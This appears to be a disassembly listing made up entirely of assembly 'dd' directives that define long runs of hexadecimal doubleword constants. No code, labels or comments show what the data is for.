dd 0E998FE4Ah, 0CBC6F6D4h, 69FE08A9h, 0C99DCFFFh, 8F310834h
dd 0EAAB9715h, 53F8095Bh, 0A36DFA82h, 0ADFC920Eh, 997BE627h
dd 41CC537Ch, 46862972h, 68C6C22Ch, 62BC2B4h, 0CE2A8885h
dd 578E5FAh, 1F67E2A0h, 192F55EDh, 5605F152h, 72387A10h
dd 0E417863Dh, 40371C17h, 5988E4F3h, 0E0C15D18h, 0E382B50Ch
dd 0C9B8A033h, 9816BBDDh, 47A2A863h, 5CA4CC72h, 372E6217h
dd 15A454DAh, 6EF773C3h, 0A90B9484h, 44CC2C5Bh, 61DD36D5h
dd 8F1FC674h, 7C6BBEBBh, 0AE239962h, 0F4CA49Fh, 74F59B09h
dd 0A278A205h, 3D8D4919h, 6088AB3Ah, 0B0C16D13h, 7C66ED41h
dd 69EF5170h, 61CCC1D8h, 0B3AC5A20h, 0A18FA20Ah, 7D5EF29Ch
dd 5FBDEDE5h, 0E21D6D6Dh, 48811422h, 0D73A6C06h, 28EBB171h
dd 3C43E653h, 576C9608h, 5E438284h, 0E29C1097h, 0F789D980h
dd 0B49C0580h, 0C8F52EA3h, 590F812Eh, 2FEDEB6Ah, 0E8CD6A03h
dd 0A7A6B1C4h, 0FE573A4Ch, 469102CDh, 0BC79CEC0h, 0CCAAC46Ch
dd 53EE128Bh, 2067ED6Ah, 4A631507h, 0D2FD07Dh, 0D65C2285h
dd 0F6D6C96Ah, 54AB310Dh, 64DD0A49h, 0F488AB82h, 0A845B70Bh
dd 78A03CAEh, 25A2AB62h, 0DC72B47Fh, 90039F1Dh, 7B351D9Eh
dd 4B5360B2h, 23797B02h, 0E50C766Bh, 38D62BCAh, 0ABE46944h
dd 6AB427E7h, 0BBED7DAFh, 701A8488h, 0E61B699Fh, 47DEE3B5h
dd 4A573890h, 2069B082h, 7252C36Fh, 3926D491h, 5519D9ECh
dd 73994E3Eh, 9D5FD78Ah, 4965EF9Bh, 41EDCC4Ah, 0B31BD396h
dd 167DD77Bh, 0D85ADC0Dh, 457B1295h, 5706641h, 40A92C9Bh
dd 883BF23Dh, 0AEF10104h, 3574B8B4h, 790A231Ch, 7C38F012h
dd 0E54DAC94h, 6873FA44h, 0B94D947Ch, 0D71C0FC5h, 7637C52Ah
dd 3417F301h, 0D242398Bh, 0FC2903B9h, 429E3BBCh, 0CA6432B1h
dd 692D25AAh, 0F15CCAF7h, 8E4F6706h, 34E0EA82h, 0F07DA150h
dd 80D9BD43h, 0B2E9FC65h, 0D4B537DEh, 0FEA76671h, 78F65Ch
dd 0A86E82F0h, 0AD09B3A5h, 16C765F8h, 63A5EC54h, 692DCCF3h
dd 94A395F0h, 0C519DD6Ah, 0A6AB9309h, 811EB313h, 0C86B6AB0h
dd 1E2BE35Eh, 4A971300h, 97D6DDBFh, 8A11FB18h, 0D4B7BBEBh
dd 52A6A0B4h, 3DCAF805h, 1A3BEE28h, 6B4A2050h, 0C90043AAh
dd 5C7913BAh, 0C2AB1A3h, 0BB3F2798h, 84A89ABDh, 0FA33EAA8h
dd 327DB08Ch, 0FF76D2C7h, 1FCFA752h, 0C53141B6h, 41CD9D65h
dd 746ECC96h, 0FCD6AFFh, 2716691Bh, 9ADF149Ch, 4ACA02BCh
dd 69062BEDh, 0BDD27FAAh, 547488D9h, 95123F36h, 491F32C5h
dd 2F38500Bh, 0D9BCBD52h, 0C79FFF4Bh, 0D0E1C0F8h, 402B20E5h
dd 62D311B3h, 0E85ADB11h, 5A5CC747h, 5AFE4A67h, 0DE3DCF6Ah
dd 0A7D601Ch, 0AB1A8630h, 0AA0BF31Ah, 48275B74h, 74FCCE28h
dd 2A0DD63Ch, 1BC1790Fh, 40C4E5C2h, 0EFA10CBEh, 0F0D2A330h
dd 0ABC91327h, 6C207481h, 808A6E23h, 0D37B640Fh, 0FF63921h
dd 0CA698A6Eh, 78A30467h, 75C998AFh, 0EB353CF8h, 0F00B1332h
dd 0E4AB5B8Dh, 0C6A36C76h, 0E8D74281h, 0F8CB3D47h, 5AC6FD76h
dd 1CD09B0Eh, 0E986FD00h, 8848DE32h, 8F576718h, 0D664B9B9h
dd 715E8231h, 0FFE356B2h, 0DBE2506Bh, 412E247Ah, 0D01F442Bh
dd 15B5C265h, 0C7B5D003h, 0C15A3011h, 16C8F95Ah, 0E391105Bh
dd 65FAA444h, 3F54A15Fh, 0E58D64E7h, 8DCF3BF6h, 4D00A1FDh
dd 0B716DF90h, 0C08D9B62h, 160B6247h, 0B10A992Ah, 8A538C9Eh
dd 2F5C42B3h, 58447CEFh, 7161B6Fh, 0CC49785Fh, 62080101h
dd 7E4FC443h, 0B0BF7CD0h, 0F735E6FFh, 0F1BC79CAh, 8CB26B96h
dd 9238C1A7h, 0F0CCE2ACh, 7073DC29h, 0B81A3EE4h, 0B448150Eh
dd 0C384F8B3h, 61BC1AB6h, 9E365D84h, 0DABEED5Ah, 87EDE9D8h
dd 9A617CD4h, 0EA66ABCBh, 8325DC8Dh, 7E8546F9h, 0FC504419h
dd 9994A708h, 9890B1BDh, 53B5A1FEh, 0A48DEBCh, 77E4187Ah
dd 488E22C9h, 70FEDCCh, 0A85B1A5Fh, 27F2D001h, 8B95FA70h
dd 83CC6F6Eh, 0D459BE32h, 782DD35h, 2854758Ch, 0E6ACF51Dh
dd 21F38990h, 7CF2F413h, 8BE330E2h, 0D97D8D37h, 0BFDC1926h
dd 0B810530Ch, 0AD170449h, 0D05AF43Dh, 554C1649h, 91F733C3h
dd 10FE9BF3h, 8AB7665Ah, 0A946F213h, 9329EBBFh, 2AD4208Ah
dd 12DB0C3Eh, 0AEC732E6h, 0EBB2E455h, 232280F5h, 40763E27h
dd 97B7B32Eh, 43C6A75Eh, 0B60E7459h, 698A91B9h, 10F67621h
dd 11F95C2h, 0C028A5E1h, 0B9E91D77h, 0BF719CDEh, 32CCB68Fh
dd 35B4C9A4h, 5CF3F250h, 0A5B668BEh, 44B8238Fh, 583FFD9Ah
dd 142A9765h, 57657CB5h, 8DFC99C5h, 6A21E30Eh, 88CB48E0h
dd 25DAD2F7h, 99D33914h, 96FD4BB3h, 4451FC4h, 529EC251h
dd 0C7BBD2Ch, 0D7AA76ACh, 0A4A1D3C0h, 1B67BB4Eh, 0EE4E0DB3h
dd 8E33021Eh, 88324A02h, 732F1A74h, 21D08009h, 0EDE529D4h
dd 0DCCBB326h, 8E87417Bh, 0BE8DDBAEh, 4A925CFEh, 0AB0E8DC8h
dd 2CB58386h, 0E4A92C07h, 9368E56Dh, 0AC9EE188h, 28718F05h
dd 5BA47D77h, 0F015E38Bh, 0B52EF600h, 1A175EA2h, 0A4A9E52h
dd 99E11D11h, 8345EEC2h, 0D39CE972h, 0C42CFDE2h, 0A36FA4C4h
dd 0ED47B487h, 6D238B09h, 0F3F75F02h, 52A82DF9h, 0C2683C7Bh
dd 0CE947680h, 0A884E4DBh, 5CCE282Fh, 53D82DDBh, 99454F75h
dd 90303B5Dh, 0EB226EC3h, 0A68C0B47h, 3A1DFF25h, 670B2D5h
dd 8F0BDE44h, 2DBDD82h, 75CC2001h, 54E00C7Bh, 62B64934h
dd 3262A572h, 0E0A2F4BCh, 1742C7FCh, 0EFD2C761h, 856D89DFh
dd 83E9A1B4h, 0E76F0E4Dh, 9429D3D3h, 2403EECh, 506AF78Ah
dd 0D04450D5h, 80947C8Eh, 4305DF7h, 396807F1h, 0E680215Eh
dd 1EAFF0C3h, 676C2880h, 5F9EA191h, 1F9F6182h, 0E2C30CFFh
dd 7D6528D8h, 0EE8D087Fh, 0CA4E491Fh, 2B9802CBh, 0EAE989BFh
dd 74239E59h, 7EFF3096h, 9CDD14F2h, 0FFCE2911h, 0FDEF5A6Ah
dd 0C77A763Dh, 0F9614116h
dd 8AE91657h, 6F8C4C59h, 0FA6F31C5h, 1FBB2E51h, 0BB2C201h
dd 9C697D0Fh, 9470B504h, 9E6EC113h, 0E730DA80h, 9EE9A094h
dd 0C37CDC0Eh, 9C8ECDD3h, 455E1091h, 46CD2337h, 0DE623796h
dd 0D24F0802h, 1B188AC0h, 0E0D6C04Dh, 0B52421D4h, 0B598CA01h
dd 6DC28D35h, 8A15CB9h, 83290EA2h, 9FBC0F0Ch, 8D874137h
dd 4B49B152h, 0F98C0C38h, 2282E0D7h, 30774187h, 2C992B42h
dd 0EFB1F70Bh, 52869087h, 0F4E9AA2Ah, 23D10032h, 94291A97h
dd 48C35C2h, 0FC608517h, 228A9D9Ah, 937135C4h, 15C18D68h
dd 0BE3ECF67h, 80E6DF22h, 8AD680D5h, 0F17360DAh, 4DE8429Fh
dd 7C39AF04h, 0AB7E064Ah, 23B3991Ah, 8D487A3Bh, 31D78598h
dd 53467116h, 0B2920076h, 69F08BCEh, 2FE1476Bh, 202FBD39h
dd 366BBE49h, 0BBD2AF6h, 0CBBC7568h, 8233A9E7h, 475B4DD6h
dd 88609B13h, 3776BC50h, 657676DAh, 0AC1EC7D1h, 0AE4BBF69h
dd 0D631CDDAh, 550A4452h, 0E666E7F3h, 0CB677B9Bh, 0A211074Bh
dd 0D90292AEh, 97DEE57Eh, 5BBE0D4Eh, 9E06D059h, 19CF83B0h
dd 3C1C0A28h, 13D9D282h, 8D778A81h, 78FFD732h, 8685D3C7h
dd 816B324Fh, 105A10A3h, 46AD33BCh, 80E5245h, 221BC2F8h
dd 7981D545h, 0A47A6AF9h, 0CCB8C040h, 96860456h, 1B083964h
dd 448642B4h, 676DC9D3h, 0E8A59291h, 7F2041F3h, 565A13A9h
dd 7F6AFA3Eh, 623B2E93h, 0B8F18ABDh, 94460C07h, 0F7E1F3D2h
dd 87B2C534h, 5529F06Ah, 0EC612FEBh, 0FB7064D2h, 0B9213BBDh
dd 4E6DACB7h, 0D0ED3890h, 473DF80Ah, 310558CAh, 8C988EDCh
dd 0FCC07D24h, 0F1FDCFF1h, 6FAA1842h, 6E192ED3h, 0EC11207Ch
dd 5FBFB239h, 6E6FBF97h, 3D744FDh, 0C3FB8E81h, 0DCCC7CFBh
dd 8FF0025Fh, 78BF4908h, 5E74864Bh, 77BC5461h, 0EA69F92Dh
dd 8A2087CAh, 87BBD03Eh, 0AD88C42Fh, 76C45A1Eh, 0AA74F741h
dd 3319D374h, 19C1B3DDh, 0C0DDCAADh, 73CB548Bh, 0A06F4EF2h
dd 0E039A944h, 0F993A9DBh, 0E799923Dh, 76A8A026h, 0DE202679h
dd 3CB45461h, 0D7F480FBh, 20678041h, 11C72C7Fh, 1DD483C1h
dd 233DB9E3h, 0C7B1CE4h, 0ECDBA35Bh, 7BE7B98Ch, 5AE9055h
dd 7FEE6696h, 5D11F79Bh, 0E2F60342h, 0ACAF2D3Eh, 0D49A8155h
dd 6189F3E9h, 7087BEBCh, 17763C79h, 3CFD7C92h, 151F49A4h
dd 0DF1A5180h, 0FF6F482Fh, 1616FB3Dh, 9C227D98h, 425E385Fh
dd 0B524D68Ch, 926ADCB8h, 2198F7ABh, 3C5BDF87h, 875C45BFh
dd 0E0F084Bh, 0E96893D6h, 0F7A0CB09h, 866197D4h, 0C5B698E5h
dd 43FB77F8h, 462710AEh, 4B4FB9D2h, 0EE0B5348h, 8BB99300h
dd 0E9894978h, 0B3CD3EDFh, 0E64E9D66h, 0E28927DBh, 7E4693A6h
dd 79ADFF93h, 0ABCBE5BFh, 5EF0A2DBh, 0A6B738C6h, 50184A85h
dd 8E51FA8Ah, 3795A2CDh, 6E8C5423h, 0A32FDEC0h, 19C6CB28h
dd 139FCD1Bh, 27198120h, 0DFC0DAEFh, 2CFAC930h, 261551F5h
dd 0E5784CD9h, 0E17D4876h, 7E8628CFh, 722CE165h, 95E2766Eh
dd 4D053286h, 51F4DB4Fh, 24DE3E77h, 0F1F9BD5Dh, 8F9A65F9h
dd 43404B63h, 0B769C870h, 0AC5E256Ch, 3F61EA96h, 0EEE219B7h
dd 66B489FFh, 4AB1B383h, 0A92C2062h, 7573D5ABh, 0A26C5AD2h
dd 153E4B76h, 0F1561DEFh, 2DA31BDBh, 998BAC68h, 92E4DEECh
dd 64BB0FBh, 43CD4DE3h, 0FD8BBAD5h, 19581190h, 83CCDFC2h
dd 0EBE22651h, 0BE097930h, 0E6107B69h, 0A49264DBh, 1294DAA9h
dd 2FAFE738h, 0F11763E9h, 0B5024918h, 89236174h, 1D00D403h
dd 1756CBF9h, 0A196F18Fh, 0DCA54428h, 7243CF5Eh, 7DB7D6A3h
dd 97D05585h, 8E77B41Ch, 32E3BB40h, 4595C901h, 2C802B93h
dd 666D0B55h, 0EBF671C6h, 0F8423362h, 0E9B6EA17h, 18D443C0h
dd 212B8C44h, 94E7EE2Ah, 0FA5EFAC0h, 6F5731F7h, 8A505257h
dd 59A9668Eh, 0FD60CDB9h, 0C233FB5Dh, 0A9895D0h, 3AA7558Dh
dd 9A9F5513h, 8D7E4123h, 7F34CC33h, 8ACAA940h, 253F4CF9h
dd 0EDFA59EEh, 0CB5EF6BAh, 41BF0AD2h, 60A54E2Dh, 0CA7D70CDh
dd 797A10E6h, 796A6E40h, 4BD6462Dh, 24C3B999h, 8561A79h
dd 17BB851Fh, 48993C7Dh, 2E497BCBh, 5A940E3Ch, 5963EB0Fh
dd 0A02602D2h, 500084BAh, 0FEFE47E1h, 704983C6h, 6822949h
dd 25E1C2CBh, 2C4FB47Ah, 0BB22BC73h, 0FC0724EEh, 7076482Bh
dd 0A45EFA9Ah, 0AA5E3C7h, 252FD379h, 0B21EF57Ch, 0BE1180D1h
dd 0F3FCB245h, 450AE97h, 6E2CD8CFh, 7237BC04h, 98CD8D89h
dd 0EF8094D1h, 1288B781h, 0D91989BBh, 671B09C2h, 0D692BBE0h
dd 0D14BF872h, 4A6E2C2Bh, 3203297Ah, 0DF2FD79Bh, 208208AEh
dd 0FE758F7Bh, 2BD66615h, 0C5C6FFBAh, 262DC968h, 98CEF5FEh
dd 4EF82CF2h, 0EFB3944Bh, 0D68EDF7h, 0A0D78B3Bh, 6014B5FAh
dd 0F900718h, 3104CAABh, 0BCB57771h, 0F4E8E148h, 956BD541h
dd 0CFEA2958h, 3C2A00DFh, 0F72CC8BDh, 8E2F073Ch, 0E6EDDC4Dh
dd 54107578h, 928E985h, 3469D34Ah, 30EF2C77h, 0A9470AD5h
dd 328CA38Fh, 19EE75D1h, 0BA532B6Fh, 0C071E81h, 0CCED2D94h
dd 48AA93C3h, 907D9582h, 0EF7BD1C3h, 5341BB50h, 0EF64A707h
dd 7DAEAB98h, 0A338C2EBh, 913B098Fh, 2E8E682Eh, 0B7ACC9C7h
dd 85243F37h, 563B5DC5h, 6933395Ah, 51D2C4FDh, 0CEBEB372h
dd 93AB161Ah, 245F174Ch, 63E71EB8h, 3FD3EBEEh, 30ED2BDEh
dd 0C4BB422Dh, 4132C859h, 0BED5E9CCh, 0B63195ACh, 0EC752AC9h
dd 4230D4C4h, 6B1AE7A1h, 0B5A231D0h, 0DCEF810h, 0AB03D7F8h
dd 0B55A4371h, 4B5A2689h, 0C06A6CF5h, 0B90EAD8h, 49060A8Ah
dd 0E628D365h, 3B4D4B33h, 0B0C9CAA0h, 148B496Bh, 56F377C3h
dd 0CD24EDECh, 0EF6902ECh, 0DDDD4856h, 0E9160E81h, 1AF688FFh
dd 0BAF2A1E1h, 0B459BD45h, 9BB6B40Dh, 0E7FD0DAAh, 86F9463Ah
dd 14E4348h, 0C10CF99Bh, 0EFEC8681h, 4E43C733h, 0D530ACB8h
dd 813B26AFh, 0F16B1079h, 93B8A5CEh, 845F0E5Ah, 0F7BF3F2Eh
dd 77F0039Dh, 0AFA69E31h, 0FB4DE989h, 0FA23868Eh, 0D6E5F24Eh
dd 7C76CD38h, 20626818h, 4412464Ch, 3DA25193h, 0AFDE6B0Fh
dd 0F5245ED9h, 0A28413FBh, 1900375Bh, 87408DF6h, 659C7465h
dd 0A12457D4h, 265363D4h, 5E2596C1h, 0EF4BE12h, 41043C2Ch
dd 0ECEE9C2Eh, 9007AC7Bh, 0AF4123A8h, 334182E2h, 8D569D83h
dd 38D3AE84h, 0E7B18707h, 0E2D07BDAh, 0E39FEBF1h, 89B2C66Dh
dd 0CF446CE8h, 97020CC7h, 8C314A7Eh, 0EA58E267h, 0F72F390Ah
dd 54E5DA1h, 701BD3C4h, 0BA38B0D1h, 6033235Ch, 47D1B34Ch
dd 39F55DFDh, 8F577B7Dh, 0F2A7DA03h, 9F6982A8h, 4911B011h
dd 0B6F7F4ACh, 9BD5F597h, 7DFEAEEFh, 0E195B6F5h, 0F753FCC9h
dd 0FDACC09h, 2CE544EFh, 0A4EB9C91h, 0F04998D0h, 0A6D532C5h
dd 7174FC67h, 62785142h, 25758255h, 21081634h, 3003BC31h
dd 2549A112h, 0EBB672Bh, 33F6DBD1h, 1EF7DB8h, 20AEC3BDh
dd 0F67F444Ah, 482A03FFh, 0E8ABF6B0h, 86724BBFh, 0FCCA9273h
dd 0D2B61C51h, 0B476E91Ah, 7C4C99F6h, 29062A9Ah, 7C6E6E55h
dd 55365118h, 0D6114235h, 2F569E55h, 0DBFD3292h, 0F0C76684h
dd 7A58DA3Eh, 0C0BC9ACDh, 1B0438C9h, 8967BC9Bh, 7026F119h
dd 0BCE3FD1h, 0BF9E919Ch, 96DE8FE0h, 0E8BFEF1Dh, 0BB84873Ch
dd 0EBB674A3h, 9C80B7DFh, 76B0648Dh, 0A98248A7h, 0A7CE8103h
dd 0A41905F8h, 7085B8E2h, 4820BF08h, 403987B2h, 85B6680Eh
dd 9F4C3979h, 6A294404h, 3B38F2D6h, 41585D6Fh, 99A7B55Ch
dd 608584DEh, 0A66D3A9Eh
dd 0FDB8125Bh, 6695A81h, 157955F1h, 4EBC81D6h, 4502FF8h
dd 3EEE11EFh, 140493D0h, 0E1B967BDh, 56B8FBh, 1A584671h
dd 0A87417E6h, 21592127h, 0B14207CDh, 0F450943Ah, 0D879035Eh
dd 0BF013623h, 0D1982468h, 34021782h, 0AEDCAB4Fh, 25D5DFEh
dd 2E57DC7Bh, 104B2C47h, 0F3E9F71Ch, 0BD89CB99h, 63B74CB1h
dd 0E0DCDD8h, 7A958D54h, 0CC7A8F00h, 0D51C9F78h, 0A5B28ED2h
dd 9EF7FB6Ch, 0B2C3215Fh, 0BCCBF5E3h, 4C93862Ah, 25A542C7h
dd 0EE9CDCDEh, 0C2F8039Bh, 0B56F9AF4h, 0E1FF716Fh, 6BD77C22h
dd 47AC4D3Dh, 0FC0621A7h, 704615F0h, 0A04CC43Ah, 0B6C6F14Eh
dd 0DB9E0DB7h, 11FAAD0h, 63F910B6h, 0D2997FF9h, 0DEC0B7E5h
dd 81C9391Bh, 813D487Ah, 0A04B81ACh, 0ECD3526h, 6E46AB61h
dd 8AF760DEh, 0A0A9C12h, 2BA37108h, 58665739h, 6EF40E10h
dd 0C003FBCCh, 3C2D6B5Bh, 96B58C2Fh, 0F2B3495Dh, 0B01C5C16h
dd 474C160Ah, 13ABDE9Eh, 8E411D0Eh, 178A3815h, 1BBABC7h
dd 0A4439089h, 0A7481756h, 0BCEDE577h, 0D668776Fh, 96FA129h
dd 91EC1554h, 0AF8451EBh, 0BB99F83h, 1FEF6652h, 0D28E2B5Ah
dd 9BBDC5D9h, 0C59E8254h, 77EC537Eh, 0F40DCC66h, 5C6F299Fh
dd 9D844937h, 20D7B673h, 7703427Fh, 161C1B41h, 0E4B74E4Ah
dd 0E524774Bh, 0F14C6AD3h, 0FED41684h, 9AB88B3h, 0F1BEF221h
dd 72247DDh, 0F5BBE061h, 0A7F80638h, 0E0C331C7h, 0B18EAD1Ah
dd 8038B34Dh, 99D40E50h, 94C257CBh, 5B078B28h, 69BEA45Ch
dd 0C8F19A29h, 16C46B72h, 7EDD1982h, 0EB494468h, 57239426h
dd 0CA5703C9h, 493470D9h, 0DDFE5A03h, 0B15F3A7Bh, 90230E28h
dd 804F3900h, 2AA54CD1h, 75457BBAh, 0B863B694h, 0BB997D5Ah
dd 22062FE9h, 0B69F4187h, 0E38759B8h, 84CFF361h, 0FAA76C69h
dd 286CBFC2h, 507C504Ah, 38A282E1h, 2314ECA5h, 0DD565453h
dd 74DCE978h, 336C5CB3h, 9CAD179Ah, 6F0BEAD9h, 0D7E8A0B1h
dd 0D4C76750h, 9E877A20h, 37EDFC75h, 3C9BB98Dh, 0F24050A6h
dd 0F864504h, 551C67B8h, 0AD3FCACh, 0BB9508BEh, 54CB2F6h
dd 0E01E9A82h, 0B5372063h, 0AF0FE3FAh, 5766A19Fh, 6926E2D6h
dd 7E26E112h, 0E4C57210h, 9665EAF8h, 0C7CFD63Dh, 305FF002h
dd 2014BB80h, 0D917531Ch, 82B68B93h, 83D11B31h, 43564ACEh
dd 0E41076E5h, 6945E8E5h, 0A89475C1h, 0FBCB38ADh, 0FA3F4106h
dd 98098350h, 0C21C0D4Bh, 98977757h, 0DDB9D12h, 400BD1D1h
dd 0C5E048E7h, 0B9185013h, 752B8979h, 4053B96Ch, 0E83DDE4Ah
dd 0EA4D0AB8h, 0A2586244h, 78C039D8h, 0A93F6167h, 59FCC296h
dd 9B3EF61Dh, 0A2BF3E7Ah, 21FBF020h, 3CB1DB62h, 0DCCBBBBh
dd 368BBDFAh, 0A5F2EEE5h, 6BEC9D8Ah, 4FCD61D7h, 5F06BC59h
dd 0D141600Eh, 4CB508C7h, 403DD159h, 0CD7A245Ch, 0E5AC7B75h
dd 7F9C671Bh, 0CEA68E0Dh, 93423126h, 927ED7F4h, 2D3828F3h
dd 0FCFBE2F0h, 0EB326BB6h, 0BF7A652Bh, 214FECCDh, 42D97DE2h
dd 28DBD632h, 0DDDFA25Eh, 0B40F3D2Ah, 0D6208C0h, 742B0DD4h
dd 29E37A05h, 0A14EDB35h, 0CCEB60BEh, 0AFC411CBh, 47432B06h
dd 73FB15F7h, 888CFEE0h, 0DFA71C63h, 91850D4Eh, 75701F50h
dd 0CF5C41D2h, 1C4A1ECDh, 8D086844h, 228BBB21h, 0A02A8C4Ah
dd 4C56EB55h, 9902845h, 59DF6DB3h, 8D080DCFh, 34438F55h
dd 56410DA3h, 933BB3A0h, 0CECB0FFEh, 0DB95965Eh, 6B91E1C4h
dd 0E7D68475h, 0F1B87E80h, 761DEE69h, 2CCC4544h, 396623D2h
dd 15EEE12h, 0B1456698h, 0CFB4FAD8h, 0BE2A3AFFh, 6CCB407Bh
dd 0A538DB36h, 0E79B8FC7h, 70BC2FFDh, 0E8CA02FAh, 4840C5AFh
dd 0E7A01D60h, 0ECFC9965h, 37D3610Eh, 25BFA591h, 0B08D5991h
dd 3B461D69h, 62D76F94h, 0E6AADAB6h, 46C68079h, 0C0650112h
dd 0CCE1DDABh, 0B63A27B1h, 0DD18ED6Ch, 857500ADh, 18B044FEh
dd 7AAC6A74h, 29E2C9E6h, 88CAD0C5h, 56DBD07Bh, 5EC94496h
dd 685E40C5h, 0F5AFC16Eh, 7D7EA624h, 4CAB20Eh, 93B334B9h
dd 243388C2h, 0CD6B6A91h, 48DDB37Eh, 2877422Dh, 18A41699h
dd 0DDBB13EAh, 80552ABEh, 71E7B245h, 0B1A37316h, 383AEF94h
dd 0B601E725h, 0F08EBC19h, 664EC2E7h, 0DDB1ABDBh, 7A716B64h
dd 0E65A105Eh, 2FA1CEBh, 0FC59030Bh, 574BB3F8h, 0F3B5E6FDh
dd 0B3E6D538h, 0AE564331h, 608797D3h, 0E4522F5Eh, 0F7EC6926h
dd 475AD05Fh, 7C3C679Fh, 0E110225Fh, 23128B8Ah, 0B6CCF88Ch
dd 965222Ch, 0D6BC0052h, 94567562h, 401FF653h, 4B139566h
dd 0A3F97A68h, 0B4A94D7h, 0A9C77EC5h, 509E43A3h, 57737380h
dd 0C1EA8245h, 0B9BB8EFBh, 3CFFE1B9h, 0B69C2CD9h, 0C9011C98h
dd 0C35BEF42h, 568906F3h, 0F739CDAh, 304DE46Bh, 0E5F23DE6h
dd 0A1EC1F23h, 42B26BB0h, 0DD0498D9h, 28DF5D06h, 3B19AB85h
dd 869F7875h, 4144BF67h, 14CDF699h, 425F9661h, 9034942Eh
dd 0B9515D3h, 3D2B0576h, 0D9118AF3h, 0EA8EEAC1h, 0B0896E7Eh
dd 290F1431h, 308BA76h, 43DFEB1Bh, 3C901380h, 512A5A25h
dd 6ADAE2C0h, 0D2D4F119h, 9C58E89Eh, 3C63B551h, 85372206h
dd 48B6D6AFh, 0D1019437h, 0B0E294ECh, 5D7FDAC2h, 2DCFBF55h
dd 64B01705h, 3F3D8998h, 7FAB18A1h, 0AFFCB516h, 909408A1h
dd 6D305C27h, 2D02565Bh, 0F3493B1Eh, 1C4395Ch, 58523328h
dd 9381D7B2h, 0D690455Dh, 9AC42B7Eh, 0BCCAF86Fh, 0B6134AEh
dd 0ED385CB5h, 3CC08FDEh, 0CBEC58FCh, 7DD67C4Ch, 66B9F7DBh
dd 6BBA6BD5h, 85137A68h, 277F09CBh, 0B058BAFh, 0BC0D882Ch
dd 8CA5725Eh, 7E88C6F8h, 1D9EACCBh, 9144DD08h, 0C880E8D6h
dd 5F1278E0h, 8A400A7h, 0F4E5A094h, 58A02D92h, 3230589Bh
dd 0E08B95F0h, 1C4D1131h, 0D312CD51h, 0BBAA211Ah, 2FF305EBh
dd 2689967Bh, 4C73F3B4h, 0BAA02205h, 5D1649D5h, 0E1EE541Dh
dd 0FBEB9B8Bh, 5DC664DDh, 21FF3B7Dh, 815F77h, 2CB772CDh
dd 0EA1E3591h, 9329E49h, 116E7D4Ch, 65EBBFFDh, 6D2EA490h
dd 159A3A63h, 7AFF6EC2h, 146A0BAh, 0F1D0E674h, 0F195ADB5h
dd 3CC0CA2h, 67FA9EA2h, 1B159C03h, 0A03B5184h, 0CA8BA2Dh
dd 4AD427F5h, 153CE2C9h, 57992BCh, 4225BEC3h, 0A4679C30h
dd 99C8AD37h, 4A32C3CBh, 8797F746h, 60E2973Ah, 9F1D1E52h
dd 0C708FBE6h, 7271D8D6h, 38419614h, 61B4907Eh, 0D70665F5h
dd 61C63852h, 507CE1BCh, 0B6EBFBDDh, 47C570B3h, 5A0D9CEDh
dd 0DE6F0310h, 34422073h, 97E9B4FDh, 0C7F1D12Dh, 0A8606908h
dd 3D6330D4h, 703213C7h, 0D0BFD523h, 0C27EF4D8h, 919870C8h
dd 381D58EEh, 8171BBB6h, 80D5B1F2h, 1C2D2A1Ah, 56706A2Fh
dd 6AD72EC0h, 9B1AA253h, 35A77506h, 0A42F63D5h, 5CCA9753h
dd 6334ABA8h, 0D81A43BFh, 6ADDD198h, 0C1106B39h, 0D1098C01h
dd 33049F69h, 23A24892h, 0F916B8B7h, 8D3D796Eh, 2ABEA742h
dd 2C8D29A0h, 546255BFh, 1C0A87FBh, 0C564767Fh, 0EF32A964h
dd 148D8867h, 0F427CF67h, 0E96EDDDDh, 0F9DE88A1h, 0D1F9ADB5h
dd 999A617h, 5F03979Ch, 0E5446C88h, 0A0CB53CEh, 4A741E6Ah
dd 965B4779h, 0E8F98FCh, 51CFA9DFh, 31B4B541h, 66CC76A0h
dd 0F2DB0A2Fh, 0EC7F2E6Ch, 0E22A41h, 0DBEE7D9Bh, 0BF0BBED5h
dd 0A453E936h, 0B53FB539h, 0D6E60DE9h, 3C8764FAh, 257FBD3Ah
dd 6DCF951Fh, 0B01AD1C6h, 0AE507338h, 0A6D0ACEFh, 0D13A0EA8h
dd 0A3410A92h, 4658036Fh, 0F4EB51B2h, 72C5CCE3h, 676F5B87h
dd 22FFC2C5h, 1DFBFE3Fh
dd 0B4FBF611h, 18D2B1FBh, 0C1516B7Fh, 3AA0D652h, 0DAFCBE7Bh
dd 80B9AA13h, 0F9A9BBECh, 8010D3D6h, 454EA24Eh, 6E3C24AEh
dd 0EEE76C44h, 658C6F85h, 37BC9645h, 0F2D5E749h, 73523915h
dd 0AE757E2Fh, 73DE8787h, 6C13A5BBh, 9371B97Fh, 5CEDB36Ah
dd 5B371D29h, 0BF8B766Eh, 4450874Dh, 8510B78h, 5E71BB36h
dd 3F407743h, 0CBB7D68Ch, 0DC3B8F4h, 9060D6B3h, 2BA22192h
dd 9BF29088h, 3573D6A4h, 78B2C641h, 0D625E3B1h, 0F290D5DAh
dd 1CBAF5ACh, 593AC0DFh, 814924E2h, 0F39ED135h, 0BBFCCD4Ch
dd 0E54DC5F5h, 3154CBA3h, 7BC42D35h, 7A79E0A7h, 0A03F8C48h
dd 120B51AEh, 0CCC004A4h, 742474FBh, 0D3E11C19h, 8CA798D3h
dd 0FEB9612h, 9BFC20B7h, 23EE0A88h, 4E262265h, 0C28102B0h
dd 0C0C8C531h, 424C866Fh, 0E09BE5A3h, 0C0D920BFh, 8C99A647h
dd 0A0321886h, 0B3335FFBh, 1554390Bh, 0F96CCC32h, 0C557B7D7h
dd 76E1529Ch, 0BD370CB1h, 86FB689Bh, 2D0F2E8h, 0E9CF8225h
dd 0FF84C969h, 2D82BB20h, 10DD2194h, 4C4877E0h, 7B4FE4AAh
dd 0D91B8481h, 413D84C4h, 242D4Fh, 0A86DFDA0h, 0F8DF6214h
dd 1993CEF8h, 33A97629h, 0F727B214h, 9099E387h, 8E19CE31h
dd 895B10CCh, 0F94D240Ch, 0E66A90CDh, 0DE3FC03Ch, 8CA88EB0h
dd 0C0196E43h, 3EDAC7A8h, 79E37B02h, 0A16AD1E4h, 0B95DCD77h
dd 68460967h, 0CE0041CEh, 4168179Eh, 336D6492h, 0E173851h
dd 0C884E73h, 3CF18F58h, 57D652DAh, 811C4B64h, 0CD41A25Bh
dd 77233D98h, 21976025h, 59959B73h, 0B90D316Eh, 0A9EADB16h
dd 586ECB6Ch, 0C0D3DC3Ch, 351A50B0h, 6B6FDF81h, 0DF9D182Bh
dd 501FC690h, 0BC1357D7h, 17FB2025h, 0D65778AEh, 0A7B717DEh
